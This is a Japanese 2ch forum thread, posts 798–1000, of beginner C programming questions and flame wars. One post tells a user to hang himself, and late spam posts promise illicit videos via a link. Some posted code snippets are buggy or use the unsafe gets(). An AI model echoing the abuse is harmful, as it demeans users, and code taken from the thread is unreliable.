>>798
今すぐ学校をやめて、音楽学科に入り直すだけの金を稼ぐ。
0800デフォルトの名無しさんNGNG
>>797
> perl言語でhere,there構文がありましたよね?(HTMLタグがそのまま書けるやつ)
なんだhere,thereって。here doc?

> C言語には、そのような機能はないのでしょうか?
なんだかよく分からんが、ともかくない。
0801デフォルトの名無しさんNGNG
>798
そう思うのなら決断は早く
その時期の1年2年くらいなら取り返せるし
0802デフォルトの名無しさんNGNG
そうだね、若いなら早めに行動に移したほうがいいよ
適正が無い奴、プログラムが嫌いな奴は絶対に止めておいた方がえぇ
0803798NGNG
やっぱそうですか・・・。
情報処理学科を出て就職するとなれば
大半の人がプログラムを組む職に就くんですか?
情報系の学校を出て全然違う職種に就いた方いますか?
0804デフォルトの名無しさんNGNG
>>803
あのさあ、情報系の優秀な奴はプログラマーなんぞにはならんのだよ
あ、お前は糞専門だったか わりーわりー
0805デフォルトの名無しさんNGNG
>>796
なぜポインタ?
0806デフォルトの名無しさんNGNG
>>804
あのさあ、プログラマーの領域狭く考えすぎてない?
あ、お前は・・・・・・わりーわりー
0807デフォルトの名無しさんNGNG
>>806
じゃあお前は何をやってるの?
糞アプリ作っとるだけのくせに偉そうなこと言うな
身分をわきまえろ
0808デフォルトの名無しさんNGNG
まぁ情報処理系に進んだ時点でエリート路線から外れてるけどな
0809デフォルトの名無しさんNGNG
そして796はatexitで登録した終了関数内で
グローバル変数を使おうとして逝った...と
0810デフォルトの名無しさんNGNG
>>806
ネタでもいいからはようこたえろや
お前さんはどんなことをやってるのですかああああ????

これだから雑魚は困る
0811デフォルトの名無しさんNGNG
>>796
Cでは参照が使えないから…

ていうか>>795じゃまじぃど。
なぜまじぃのかは自分で考えれ。
0812デフォルトの名無しさんNGNG
perl言語でヒアドキュメントってありましたよね?(HTMLタグがそのまま書けるやつ)
C言語には、そのような機能はないのでしょうか?
0813デフォルトの名無しさんNGNG
806は人生の敗北者
だから2chでも言いっぱなし
根性ナシ
真向から議論して勝つ自信はないのかよ
俺をへこましてみろや
0814Ruby初心者NGNG
Rubyのコミュニティって閉鎖的な雰囲気がありますけど(他の言語を排撃するとか)なんでですか?
その自信はどこからくるんですか?
教えてください。
0815デフォルトの名無しさんNGNG
お前ら雑魚からすれば強気な意見書いてくる奴はみんな煽りな
ちょっときついこと言ってくる奴は煽りな
で、無視な
お前ら弱すぎ
0816デフォルトの名無しさんNGNG
>>814
あのな、ここはCの部屋だろ
お前スレ違い
くやしかったらまともなレス返してみろ
それとも怖いから無視か?
0817Ruby初心者NGNG
>>816
あのな、ここはプログラミングの板だろ
お前板違い
くやしかったらまともなレス返してみろ
それとも怖いから無視か?
0818デフォルトの名無しさんNGNG
鸚鵡返しカコワルイ
0819デフォルトの名無しさんNGNG
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
0820デフォルトの名無しさんNGNG
どっちにしても、
すぐ汚い言葉で煽り合うようなやつはプログラムも書けない厨房(ただ板に来て覗いてるだけ)
なのは間違いない。
0821デフォルトの名無しさんNGNG
>>820
そうだね。一匹紛れ込んでるね。
0822デフォルトの名無しさんNGNG
正直俺は掲示板にプログラムべたべた張り付けるのはどうかと思う
なんか同人コミュニティみたいな感じがして気持悪い
「僕のプログラム見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前のプログラムはそんな安っぽいもんなのかと

はぁ、また寒い反論しか返ってこないんだろうなあ
0823デフォルトの名無しさんNGNG
マジレスしてくる奴いないのかなあ
0824デフォルトの名無しさんNGNG
一応言っておきますが
「ネタにもならないアホは放置」が基本となっていますのでお気をつけください
0825デフォルトの名無しさんNGNG
>なんか同人コミュニティみたいな感じがして気持悪い
いまいち感じがつかめない。
その貼り付けられたプログラムの質がどんなであれ、
皆が褒めそやすという構図になっているならまだしも。
0826デフォルトの名無しさんNGNG
>824
敏感に反応しちゃってるあなたはどうしましょう?
0827デフォルトの名無しさんNGNG
main()
{
 puts("\
こんな風に書きたいのか?
とりあえずgccじゃ通るけど、警告とか出す処理系もありそう。
");
 return 800;
}
0828?f?t?H???g???????NGNG
正直俺は掲示板に日本語べたべた張り付けるのはどうかと思う
なんか同人コミュニティみたいな感じがして気持悪い
「僕の日本語見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前の日本語はそんな安っぽいもんなのかと

はぁ、また寒い反論しか返ってこないんだろうなあ
0829デフォルトの名無しさんNGNG
ある言語の便利な機能を
別の言語に無理やり持っていっても良いことはない。
Cでヒアドキュメントはできまっせん。
0830デフォルトの名無しさんNGNG
>>825
お絵書き掲示板みたいな感じ
俺はあれ大嫌い
吐き気がする
0831デフォルトの名無しさんNGNG
ってーかそれくらい流せよ
0832デフォルトの名無しさんNGNG
ある言語の便利な機能を
rubyに無理やり持っていっても良いことはない。
rubyでは何もできまっせん。
0833デフォルトの名無しさんNGNG
>>830は自分が絵を描けないことに相当なコンプレックスがあるらしい、と。
0834デフォルトの名無しさんNGNG
>>830
いや...だから、この板では
>貼り付けられたプログラムの質がどんなであれ皆が褒めそやすという構図
にはなってないよね?
0835デフォルトの名無しさんNGNG
>>834
だいたいそんな感じだろ
それとも情報交換のつもりか?
だったら本読もうや
ソース読もうや
あなたが真のプログラマーならね
0836デフォルトの名無しさんNGNG
>>835
彼はソース読めないから疎外感を感じていると思われ
0837デフォルトの名無しさんNGNG
>>835
具体的にそういった雰囲気のレスを挙げてみ。
それとも単なる僻み?(大爆笑)
0838デフォルトの名無しさんNGNG
ここの板人なかなか煽り耐性がつかないね。
0839デフォルトの名無しさん NGNG
正直俺はオープンソースはどうかと思う
なんか同人コミュニティみたいな感じがして気持悪い
「僕のプログラム見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前のプログラムはそんな安っぽいもんなのかと

はぁ、また寒い反論しか返ってこないんだろうなあ
0840デフォルトの名無しさんNGNG
↑オープンソースはいいと思うけどね
ぢゃ、寝るわ
お前ら一晩かけておもしろい文句考えといてな
とりあえず朝はチェックするからそのまま議論続けてな
泣かない程度に頑張ってみてくれや
0841デフォルトの名無しさんNGNG
       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
.∧_∧  | >>840 Ruby厨な人さぁ こんなレスばっかりしてるから |
( ´∀`)< 厨房って言われちゃうんだよ                |
( ∧∧ つ >―――――――――――――――――――――‐<
 ( ゚Д゚) < おまえのことを必要としてる奴なんて Ruby使いにすら |
 /つつ  | いないんだから さっさと回線切って首吊って氏ね   |
       \______________________
0842デフォルトの名無しさんNGNG
gdbデバッガを使い始めました
0843795NGNG
>>811
正直、すいませんでした。
いちいち試しちゃいなかったので。

×:char* g_argv[];
○:char** g_argv;

これなら良い?
0844デフォルトの名無しさんNGNG
>>843
まあそうしないとコンパイルはとおらんわな。
それでもやっぱり>>795よりは>>796なのよ。
理由は自分で考えれ。
0845795NGNG
教えてよ。
厨房だからわかんないよ。

int g_argc;
char** argv;
int main(int argc, char* argv[]) {
g_argc = argc;
g_argv = argv;

argc = 1; /* etc. */

assert(g_argc == argc); /* !!! */
:

みたいなことが言いたいの?
0846デフォルトの名無しさんNGNG
アホが二人いる。
0847sageNGNG
誰か突っ込んでやれよ。
0848デフォルトの名無しさんNGNG
MS_DOSの画面でグラフィック扱うにはどうしたらいいの?
0849デフォルトの名無しさんNGNG
最適化抑制って、

ken -> gcc -O0 mona.c
でいいの?
(マイナスオーゼロ)

ken -> gcc -v
Reading specs from /usr/local/gnu/lib/gcc-lib/sparc-sun-solaris2.6/2.95.2/specs
gcc version 2.95.2 19991024 (release)
0850デフォルトの名無しさんNGNG
http://sourceforge.net/softwaremap/trove_list.php?form_cat=160

の日本語バージョンってないざますか?
0851デフォルトの名無しさんNGNG
前から気になっていた事だけど、
C言語のプロトタイプ宣言ってみんなどうやって書いてる?
手動か、それともなにかツールを使って自動出力させてる?
0852デフォルトの名無しさんNGNG
cproto
0853デフォルトの名無しさんNGNG
>>851
手で書いてる。

というか、最初にヘッダにプロトタイプ宣言を書いて、
スタブをちゃちゃっと書き上げてから
本格的なコーディングに入る。
0854デフォルトの名無しさんNGNG
Cだと、昔はμEmacsのマクロで作ってたなぁ。
今は、関数実体を書いた後にコピペ & extern追加をしてる。
0855851NGNG
>>852
cprotoの場合実際どのように使ってます?
俺が想像するには、cproto -ve main.c > main.hed
とかやって main.h の中で #include "main.hed" とやる。
もしくは cproto -ve *.c > protoall.hed などと全て一つにまとめて
一ヶ所で #include "protoall.hed"

>>853
最初から仕様が明確で関数が少ない場合はそれでも
いいかもしれないけど、そういうケースは少ない気がする。
んで、似た処理を一つにまとめたいとかとっさに思ったときに、
プロトタイプ書くのがめんどくさくなって、
結局一つの関数が巨大化していったりはしないですか?
0856デフォルトの名無しさんNGNG
>>855
その程度の手間は厭わず。すぐに慣れれるって。

 プロトタイプ宣言を書くのも、
 引数は評価する前に assert するコードを入れるのも、
 関数を書く前に、まずテスト用のコード書くのも、
 コードに手を入れたときに、変更点をデバッガでステップ実行するのも、

習慣化すれば、どうってことない。
0857デフォルトの名無しさんNGNG
昨日から、悩んでいる問題があります。
問題)テキストファイルを読み込み'A'〜'Z'と'a'〜'z'の文字数を
   それぞれカウントする。
例)
  test.datファイルの内容
     ASDadz
 AAZz

結果としては
     Aが3回
     Dが1回
     Sが1回
     Zが1回
     aが1回
     dが1回
     zが2回

 
      
0858851NGNG
>>854
なるほど。コピペ+変数にextern追加ってのは同じ事の繰り返し作業だから
みんなどうにかして自動化してやって欲しい。。。
(と、個人的に思うんだが)

>>856
>引数は評価する前に assert するコードを入れるのも、
>関数を書く前に、まずテスト用のコード書くのも、
には、かなり同意だけど、やっぱりプロトタイプ宣言書くのだけは
時間の無駄にしか思えないな。

Javaだとプロトタイプ宣言する必要が無いから短時間でどんどん
プログラムを変更していけて効率的なんだけどな。
0859デフォルトの名無しさんNGNG
数字を全角で表示するのはばかばかしいので半角表示

static int code[256];
int c;
FILE *fp;

fp = fopen("test.dat", "r");
while ((c = fgetc(fp)) != EOF)
if (isalpha(c)
code[c]++;
for (i = 0; i < 256; i++)
if (isalpha(i) && code[i] > 0)
printf("%cが%d回\n", i, code[i]);
fclose(fp);
0860デフォルトの名無しさんNGNG
>>859
i は int なんだろうが、
それなら printf に渡すときにキャストしなきゃいけない気が。
0861デフォルトの名無しさんNGNG
859さんへ
 コンパイルして実行したら、
 うまくいきました。
 ありがとう
    857より
 
0862デフォルトの名無しさんNGNG
int i; 抜けてるね。
キャストはいらん。
もしキャストがいると信じてるなら悔い改めなさい。
0863860NGNG
>>862
ああ、うん。
書き込んだ直後に、自信なくって試してみたら
キャストしなくても大丈夫だたよ…。
0864デフォルトの名無しさんNGNG
>>863
動作から納得するんじゃなくて、ちゃんと規格を調べて理解した方がいいと思うが。
K&R 本が手元にあるなら、索引で「格上げ」を調べてみましょう。
0865863NGNG
>>864
初版には「格上げ」載ってねぇよ…。

つか、printf は可変個引数なんで、「格上げ」(型変換)なんてやってくれんのか?
char を受け取ると明示されてる関数なら、int を渡せば int->char の変換を
やってくれるだろうが、printf だと無理な気がするのだが…。

でもちゃんと動作したんだよなぁ…。
スタックにプッシュときのサイズが int と char で変わらないからかのう?

調べてきます…。
0866デフォルトの名無しさんNGNG
整数型はintに収まるのはintで、
それ以上のはそれなりにスタックにつまれるってかいてあるだ炉。

蛇足だが、実数型は黙ってdoubleで積むとも書いてあるだろ。

まず、嫁。
0867863NGNG
つか、やっぱ本来ならキャストすべきとこっぽいな。
動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
0868デフォルトの名無しさんNGNG
K&Rのどこをどう読んだらそうなるんだ?おい
0869863NGNG
>>868
何か間違ってますか?
0870864NGNG
>>865
確認してみたら、格上げじゃなくて A7.3.2 関数呼び出しのところに書いてあったわ。

ところで「初版」というのは ANSI C ではなく K&R C 対応のヤツ? 引数の格上げ
規則は ANSI C と K&R C (もしくは ANSI C でプロトタイプ宣言無しの場合) で微
妙に違うから、第2版を参照した方が良いぞ。
0871864NGNG
>>869
おいおい……。

printf() の可変長引数の部分で i を渡してるんでしょ? そこで (char)i と書いて
も格上げ規則によって (char)i が int に変換された後に引数として渡されるから、
まったく意味がないって。

> 動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
たまたま、ではなく ANSI C 対応のコンパイラなら「常に」問題ない。スタックにプッ
シュされるかどうかは処理系依存だが(レジスタで渡しても良いし)。
0872863NGNG
>>871
スマン。わかった。俺が間違っていた。アホ。
> 整数型はintに収まるのはintで、
> それ以上のはそれなりにスタックにつまれるってかいてあるだ炉。
ってことね。スマン。ホントスマン。パッとわからんかった。
アホ過ぎですな。逝ってきます。豆腐の角に頭ぶつけて逝ってきます。
来世で会ったときも迷惑かけるかもしれませんが、その時はよろしく。
逝ってきます。アホ。逝ってきます。
0873質問くんNGNG
1, 2, 3, 4, 5
6, 7, 8, 9, 10

って内容のデータファイルをfscanf関数で読みこもうとすると
最初の"1"だけを読みこんで終わってしまします。
2行目の最後まで、コンマと空白も含めてそっくりそのまま
読みこみたいんです。
どうしたらいいかわかりません教えてください
0874863NGNG
いやー、久々に顔から火を噴きましたわ。
火柱が30mぐらいに達しましたわ。
匿名でよかったですわ。
それでは改めて逝ってきます。
0875デフォルトの名無しさんNGNG
863おもろい。
またこいよ
0876デフォルトの名無しさんNGNG
scanf("%d, ", &data)
0877sageNGNG
誰か激しく突っ込んでやれよ>>876
0878873NGNG
876さん、直接入力するのでなく、外部のデータファイルから
読みこみたいんです、お願いします
0879 NGNG
fscanf
0880873NGNG
あ、わかりました。スレ汚してすいませんでした
0881デフォルトの名無しさんNGNG
>>879
予想通りのボケが入ったな(w でも 873 で既出なので 1 点減点。
0882デフォルトの名無しさんNGNG
あのう、

dos上動くプログラムででx、y、座標を指定して文字を出力
したいのですが何をつかったらいいでしょうか?
0883デフォルトの名無しさんNGNG
エスケープシーケンスで検索すれ
0884882NGNG
>>883

???
0885デフォルトの名無しさんNGNG
ttp://www.mars.dti.ne.jp/~torao/program/appendix/esc.html
0886デフォルトの名無しさん NGNG
DOSのエスケープシーケンスは猫のページに載ってるよ。
0887ビル・ジョブスNGNG
懐かしいな〜
0888C厨房NGNG
教えて下さい。
この間拾ったBorland C++でFranz Lisp-386をコンパイル出来なくて
困ってます。make.exeがFATAL errorを吐き出すんですが。
makefileが#ifdef #endifだらけで迷路のようです。
乞アドバイス
0889C厨房NGNG
キリ版Get♪ >>888
0890BASICERNGNG
MAKE がエラーを出すんだから、makefile が間違っているんですよ。
0891C厨房@BASICERNGNG
オリジナルmakefileが間違ってるんですか?@なんかくやしい
0892デフォルトの名無しさんNGNG
>>891
間違ってるっつーか、#ifdefだらけなんてことはcpp通すかなんかしなきゃい
かんのじゃないの。
0893デフォルトの名無しさんNGNG
cpp.exeを検索しちゃいました。
Cプリプロセッサ−?→cpp
0894BASICERNGNG
CPP は C++ でしょ?
0895デフォルトの名無しさんNGNG
あれ? cpp32.exe は BCC4.5 には入っていないのかな?
BCBには入ってるけど・・・・

#ifdef とかのプリプロセッサ処理だけするのが CPP.exe ね
0896892NGNG
>>893
そう。

>>894
Microsoft界隈ではそういういいかたもするようだが、ここでいってるのは伝
統的なcppであるところのC preprocessor。
0897Franz LisperNGNG
>>895 cpp32.exeありました。Thanx
>>894 さすがM$特殊工作員
0898Franz LisperNGNG
>c:\borland\bcc55\bin\cpp32 makefileって感じ?
どうやって使うの?
0899Franz LisperNGNG
DOS窓でerror messegeが文字化け!
[ E2194 (.v.);鹿〜'lisp.cpp' etc
0900デフォルトの名無しさんNGNG
パス通すか、make.exeかな?それのあるところ
にいってmakeってやると勝手にmakefileを自動
判別するYO。自前のmakefileつかいたいときは
mymake(.hogehoge)とかをつくって、(拡張子は
つけてもどっちでもいい。)とにかくmake mymake
ってやるんだYOつまりmake は make makefileやってると
同じことなんだYO
0901デフォルトの名無しさんNGNG
当然カレントディレクトリにmakefileがないと
makeってやってもだめだYO
0902デフォルトの名無しさんNGNG
ポアソンの方程式がわかりません。。教えてください
0903デフォルトの名無しさんNGNG
make -f mymake
だろ。ふつー。
0904デフォルトの名無しさんNGNG
>>902
教科書読みなさい。
0905Franz LisperNGNG
>>900
makefileもソースファイルも全部c:\borland\bcc55\bin
に ぶっこんである。
0906892NGNG
>>898
> >c:\borland\bcc55\bin\cpp32 makefileって感じ?
cpp通した出力をmakefileとしてmakeに食わす。のかも知れん。
とりあえずドキュメントちゃんと読め。
0907デフォルトの名無しさんNGNG
は?bcc55/includeとか、bcc55/うんたら
が、ないの?

・・・もういっか落としなおせよ・・・・
0908FranzNGNG
C:\borland\bcc55\bin>make
MAKE version 5.2 Copyright (c) 1987, 2000 Borland
fatal: 'FRC' does not exist - don't know to make it

C:\borland\bcc55\bin>
も〜嫌!
0909デフォルトの名無しさんNGNG
めんどうだから make止めて

BCC32 *.C* ってやってみろよ>>908
0910FranzNGNG
19 errors in Compile
とにかくエラーメッセージが文字化け
0911デフォルトの名無しさんNGNG
ただ単にGNU make用のmakefileなんじゃないの?
0912デフォルトの名無しさんNGNG
俺のはmakefileさえないのに、
エラーなんかでねーぞ?カラのmakefileつくっても同じ
まぁ、そこらへんのサイトあるようでないからな、
>>http://www.m-n-j.com/town/internet_computer/makuzu/pgf/FreeProg-bcc551.html

ここらへんとか、どうよ。あと数個あるから頑張って検索しな
0913FranzNGNG
ソース間違ってんじゃん
0914FranzNGNG
>911
それってUNIXからWindowsに移植を意味する?
386−Makefileと言うのがあるのだが・・
0915デフォルトの名無しさんNGNG
なんかそもそもBSD用のコードっぽい氏..
GNUmakeは、単体で手に入ったかな?
なかったらcygwinを使え
0916909NGNG
だから! そんな状態でmakeは無理
 必要そうなdefineはソースに直接書き込んで
 必要そうなソースだけディレクトリにぶちこんで BCC32 *.C でやってみろよ

まともなソースでmainがあれば実行ファイル作れるだろ
どっちにしてもエラー先に潰さんとダメだしな
0917FranzNGNG
今日のものにならんな
お休みALL
>>915
そうBSD
http://www.aiai.ed.ac.uk/~jeff/franz-for-386.html
ここで拾った。
0918デフォルトの名無しさんNGNG
cygwin使った方が早いんでは?
ちゃんとバイナリが生成されたら、Borlandので試してみるとか。
0919FranzNGNG
cygwin? 落ちてるとこ教えて。
0920FranzNGNG
これ???
http://www.on.cs.keio.ac.jp/~maru/cygwin-xfree-jp-supplement/
0921FranzNGNG
Yahooでcygwin検索してたら こんなに見るのに手間かかる
サイト見つけた。付き合ってられん
検索機能くらい付けろ!
0922FranzNGNG
yahooでcygwin検索してたら
こんなに見るのに手間かかるサイト見付けた。
http://members.tripod.co.jp/xaiax/scribble.html
付き合ってられん!
検索機能くらい付けろ!
0923FranzNGNG
無い*_*;
とりあえず現段階ではBorlandの方が早い
っつーかBorlandにはTurbo C 2.0で、お世話になっているから
こだわりがある。
0924Franz@ほとんど荒らしNGNG
ここは、見やすいが
DLサイトのリンクくらい張れ!
http://www.gihyo.co.jp/javapress/OpenSource17/ex2.html
0925Franz@勉強中NGNG
これですな
http://sources.redhat.com/cygwin/download.html
0926デフォルトの名無しさんNGNG
日記はよそでやれよ。
くだらんことでいちいちageんじゃねーよ。
0927Franz@勉強中NGNG
がら悪!!
setupでproxyのアドレス放り込む窓があるがネット上で
compileするっつー事かな?
proxyに付いてはアメ公が、寝ている日本時間昼に使っている。
アメ公が起きている日本時間深夜に串抜いている。
っつーか串が死んだら面倒だし..
なんかいきなりcompile成功の予感。
>>918 Thanx!
0928C厨房NGNG
sygwinのsetupが良く分かりません。
設定項目が多すぎます。
これってネット上でInstallするって言う事なんでしょうか?
0929FranzNGNG
>>928

とりあえず>>924を見よ
0930FranzNGNG
BSDになったぞ!^o^/
0931デフォルトの名無しさんNGNG
>>926
どこがくだらないんだ!
糞スレ立てて人が来ないのか?
0932デフォルトの名無しさんNGNG
ちょっとしたイベントでいちいちageで書き込むな。
自分でも「ほとんど荒らし」と書いてるだろうが。
だったら書き込み止めるかまとめりゃいいんだよ。
0933デフォルトの名無しさんNGNG
CUIを、ちょっとしたイベントと片付けるのは
どうかと・・・
0934\NGNG
電波警報
0935デフォルトの名無しさんNGNG
You never receive radio and i-mode. LOL
0936デフォルトの名無しさんNGNG
C言語で丸とか四角や図形は描けますか?
0937デフォルトの名無しさんNGNG
>>936
グラフィックのライブラリを使えば書けます。
どんなライブラリがあるかはOSや処理系によります。
0938デフォルトの名無しさんNGNG
>>936
printf("○□\n");

でも機種依存だから気をつけてね。
0939デフォルトの名無しさんNGNG
>>938
もうちょいましに書こうぜ。

printf("丸\n");
printf("四角\n");
printf("図形\n");
0940名無しさんNGNG
今、Cコンパイラの最適化能力って、コンパイラごとに大きく違うの?
intelコンパイラ > VC++ > gcc
ってな感じ? いや、これは想像だけど。
0941デフォルトの名無しさんNGNG
>>936
/* 幅 width, 高さ heightの四角を書く */
int i,j;
for(i=0; i<width; i++) putchar('#');
putchar('\n');
for(j=1; j<height-1; j++) {
putchar('#');
for(j=1; j<width-1; j++) putchar(' ');
putchar('#');
}
putchar('\n');
for(i=0; i<width; i++) putchar('#');
putchar('\n');

円を描くんなら三角関数を使っとけ。
0942デフォルトの名無しさんNGNG
lomg combi(int, int);
long型はわかるんですけど、combiの意味がわかりません。
教えてください!
0943デフォルトの名無しさんNGNG
struct {
char b[20];
}c;

c.b="ナナシサン";

何でこれでは、いけないのですか?
すみませんが御指導お願いします。
0944デフォルトの名無しさんNGNG
>>943
K&Rを死ぬほど読んで配列とポインタの違いを理解してください。
0945デフォルトの名無しさんNGNG
>>944
死ぬほど読んで死んだらプログラムできなくなっちゃうんで、教えてください。
0946デフォルトの名無しさんNGNG
>>945
bには代入しちゃだめ。
0947デフォルトの名無しさんNGNG
auto変数のポインタを他の関数に渡すのは
何故いけないのですか?

foo()
{
int a=0;
bar(&a);
}

bar(int *a)
{
*a = 10;
}
0948デフォルトの名無しさんNGNG
普通のアーキテクチャのコンピュータだと、
レジスタにはポインタが無いから。
0949デフォルトの名無しさんNGNG
レジスタにはポインタが無いから>レジスタを指すポインタが無いから。
0950デフォルトの名無しさんNGNG
>>948

aはstackじゃないんですか。
auto変数のポインタ渡しして渡した関数で書き換えても動くんで(VisualC)わけわかりません。
暗黙的にstaticなんでしょうか。うう。
0951デフォルトの名無しさんNGNG
>>950
struct{
 char *b;
} c;

なら

c.b="ナナシサン";

はOKだよ。
0952デフォルトの名無しさんNGNG
>>947
そのコードはとくに問題ないと思うが。
0953sageNGNG
>>947
問題ないよ。
自動変数は最適化でレジスタにしか割り付けられないこともあるが、
&でアドレスを参照している変数は、きちんと実メモリ上(スタック)に配置される。

同じように

foo()
{
register int a;
bar(&a);
}

bar(int *pa)
{}

のようにやっても間違いではない。
0954デフォルトの名無しさんNGNG
>>953

Σがーん。register宣言してもコンパイラが面倒を見てくれるとは知らなかった。
それって組み込み系でも?
0955デフォルトの名無しさんNGNG
>>954
コンパイラが文句言わなければ大丈夫。
やってみてダンプしる
0956sageNGNG
register宣言されてるやつのアドレスを見ると警告を出すコンパイラが
あってもよいが、
今時のコンパイラはregisterをそもそも無視する傾向にあるな。
0957デフォルトの名無しさんNGNG
>>942
lomgが謎だ。
0958デフォルトの名無しさんNGNG
そろそろ別すれ
0959デフォルトの名無しさんNGNG
K&Rって何のことですか?
基本的なことわからなくてすみません。
0960デフォルトの名無しさんNGNG
>>959
ISBN4-320-02692-6
0961デフォルトの名無しさんNGNG
>>959
ひょっとして検索すら知らないのかい
0962デフォルトの名無しさんNGNG
>>961
K&Rって検索のことなんですね。
基本的なことを教えていただきありがとうございました。
0963 NGNG
>>959
ただの化石です。気にする必要はありません。
ていうか、知りたいことがあればすぐ聞くのではなくて
まずは検索してみようよ。
0964デフォルトの名無しさんNGNG
えっ?
K&Rって化石のことなんですか?
プログラマーの方言?
辞書で調べてみます。
0965デフォルトの名無しさんNGNG
>>693
化石どころかバイブルじゃない?
すべての C プログラマは K&R の hello, world から入門するのだ。
0966デフォルトの名無しさんNGNG
while(1){
scanf("%s",a);
if(strcmp(a,"Y")==0);
break;
}
リターンキー押してループ抜けるようにするにはどうしたらいいですか?
0967デフォルトの名無しさんNGNG
>>966
環境依存。
0968デフォルトの名無しさんNGNG
>>967
もう少し詳しく教えてください。
0969デフォルトの名無しさんNGNG
>>968
環境依存と言うのだから、環境を発表してみそ。
そうすれば、やさしい>>967がきっと答えてくれるだろう。
0970967NGNG
>>969
それも環境依存(w
0971sageNGNG
>>966
fgetsかgetsを使いなさい。
0972デフォルトの名無しさんNGNG
というか、>>966はstrcmpしている意味が全然ない。
0973デフォルトの名無しさんNGNG
966 のような scanf() の使い方ではなくて
fscanf(), sscanf() で "hogehoge = 199" とかの定型フォーマットな
ものから, ある値を取ってくるような使い方に焦点をあてて
書かれた本とか Web ページとかはないでしょうか.

キーボードから値をとってくるのに scanf を使うなんて
教えてもあまり意味がないと思うのですが ...

まあ本の都合ってのもあるんだろうけど.
0974デフォルトの名無しさんNGNG
int n;
char str[256];
gets(str);
if (sscanf(str, " hogehoge = %d ", &n) == 1) {
printf("%d\n", n);
}
0975デフォルトの名無しさんNGNG
(゜д゜)<新スレ
http://piza2.2ch.net/test/read.cgi/tech/1003418249/
0976キリ番ゲッターNGNG
1000間近スレッド発見
0977キリ番ゲッターNGNG
1000狙うからな
覚悟しておけ>ALL
0978キリ番ゲッターNGNG
俺様が1000取ったら
うらびでお

さしあげます!!!!!!!

maji
0979キリ番ゲッターNGNG
ウラビデオ 配布場所はここ
http://www.megabbs.com/cgi-bin/readres.cgi?bo=douga&vi=991411619&rm=100
0980キリ番ゲッターNGNG
1000GETの邪魔したら もらえなくなるので

注意しておけよ
0981キリ番ゲッターNGNG
1000.。。。そこは最後のフロンティア

だよーーーーーーーーーーーーーーーーーーーーーーーーん
0982キリ番ゲッターNGNG
んんん????
ヤクルトのビールかけって何で放送されないの?????


sage
0983キリ番ゲッターNGNG
1000という数字は
美しい


ああああああああああ   ほしい
0984デフォルトの名無しさんNGNG
1000 取って何すんの?
0985キリ番ゲッターNGNG
邪魔する奴=うんこ

氏ね
0986キリ番ゲッターNGNG
おおおおおお!!!!!!!!
邪魔するな>>984

氏ね〜〜〜〜〜〜〜〜〜〜〜〜〜〜!!!
0987キリ番ゲッターNGNG
いいかROMよ

邪魔したら ウラビデオ もらえなくなるぞ!!!!!!!!

hehehe
0988キリ番ゲッターNGNG
んんんんんんん
俺様=神

>>984=うんこ
0989キリ番ゲッターNGNG
1000そこは
最後の


スレッドフロンティア
0990キリ番ゲッターNGNG
タリバンよりも キリバン
0991デフォルトの名無しさんNGNG
1000取られたら怒る?
0992デフォルトの名無しさんNGNG
ガンバレー!応援してやるよー
0993キリ番ゲッターNGNG
くそ!!!!!!!!

思いっきり邪魔してるじゃ ないか!!!!>>992 氏ね
0994キリ番ゲッターNGNG
>>992はうんこでーす


くさい くさい
0995デフォルトの名無しさんNGNG
つうか、サゲれば良いのにね(笑
0996デフォルトの名無しさんNGNG
ム板の厨房化がここでも…
0997キリ番ゲッターNGNG
いいか リロードして待ち構えるな!!!

1000横取り禁止じゃ
0998キリ番ゲッターNGNG
うおおおおおおおお!!!!!!

なぜ邪魔するんだ    fuck
0999デフォルトの名無しさんNGNG
さあ残りはいくつ?
1000キリ番ゲッターNGNG
1
0
0
0
GET!!!!!!!!!!!
10011001Over 1000Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。